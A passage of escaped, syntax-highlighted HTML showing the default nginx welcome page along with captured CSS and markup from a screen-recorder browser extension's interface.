style=\"color:#66d9ef\"\u003edeg\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;/\u003cspan style=\"color:#f92672\"\u003estyle\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ehead\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003eh1\u003c/span\u003e\u0026gt;Welcome to nginx!\u0026lt;/\u003cspan style=\"color:#f92672\"\u003eh1\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;If you see this page, the nginx web server is successfully installed and\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tworking. Further configuration is required.\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;For online documentation and support please refer to\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehref\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;http://nginx.org/\u0026#34;\u003c/span\u003e\u0026gt;nginx.org\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ea\u003c/span\u003e\u0026gt;.\u0026lt;\u003cspan style=\"color:#f92672\"\u003ebr\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tCommercial support is available at\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehref\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;http://nginx.com/\u0026#34;\u003c/span\u003e\u0026gt;nginx.com\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ea\u003c/span\u003e\u0026gt;.\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003eem\u003c/span\u003e\u0026gt;Thank you for using nginx.\u0026lt;/\u003cspan style=\"color:#f92672\"\u003eem\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;screenity-ui\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;screenity-shadow-dom\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;screenity-scrollbar\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;screenity-scrollbar\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003estyle\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;text/css\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t#screenity-ui\u003cspan style=\"color:#f92672\"\u003e,\u003c/span\u003e #screenity-ui \u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eunset\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003epadding\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eunset\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eunset\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eunset\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eunset\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eunset\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eunset\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t.\u003cspan style=\"color:#a6e22e\"\u003escreenity-outline\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eabsolute\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e99999999999\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003eborder\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003esolid\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e#3080F8\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003eoutline-offset\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e-2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\tpointer-events: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t.\u003cspan style=\"color:#a6e22e\"\u003escreenity-blur\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\u003cspan style=\"color:#66d9ef\"\u003efilter\u003c/span\u003e: blur(\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e)\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t\t\u003cspan style=\"color:#66d9ef\"\u003etransition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eunset\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\t\t.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003eTooltipContent\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e30\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#29292F\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003epadding\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e15\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003emargin-bottom\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ebottom\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eline-height\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003efont-family\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Satoshi-Medium\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003esans-serif\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e99999999\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#FFF\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: hsl(\u003cspan style=\"color:#ae81ff\"\u003e206\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e35\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e) \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e38\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e-10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e, hsl(\u003cspan style=\"color:#ae81ff\"\u003e206\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e) \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e-15\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003euser-select\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003etransition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0.3\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eease-in-out\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewill-change\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eanimation-duration\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e400\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ems\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation-timing-function\u003c/span\u003e: cubic-bezier(\u003cspan style=\"color:#ae81ff\"\u003e0.16\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.3\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewill-change\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003ehide-tooltip\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003etooltip-tall\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003emargin-bottom\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003etooltip-small\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003emargin-bottom\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003eTooltipContent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-state\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;delayed-open\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e][\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-side\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;top\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eanimation-name\u003c/span\u003e: slideDownAndFade;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003eTooltipContent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-state\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;delayed-open\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e][\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-side\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;right\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation-name\u003c/span\u003e: slideLeftAndFade;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eTooltipContent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-state\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;delayed-open\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e][\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-side\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;bottom\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation-name\u003c/span\u003e: slideUpAndFade;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eTooltipContent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-state\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;delayed-open\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e][\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-side\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;left\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation-name\u003c/span\u003e: slideRightAndFade;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eslideUpAndFade\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateY(\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  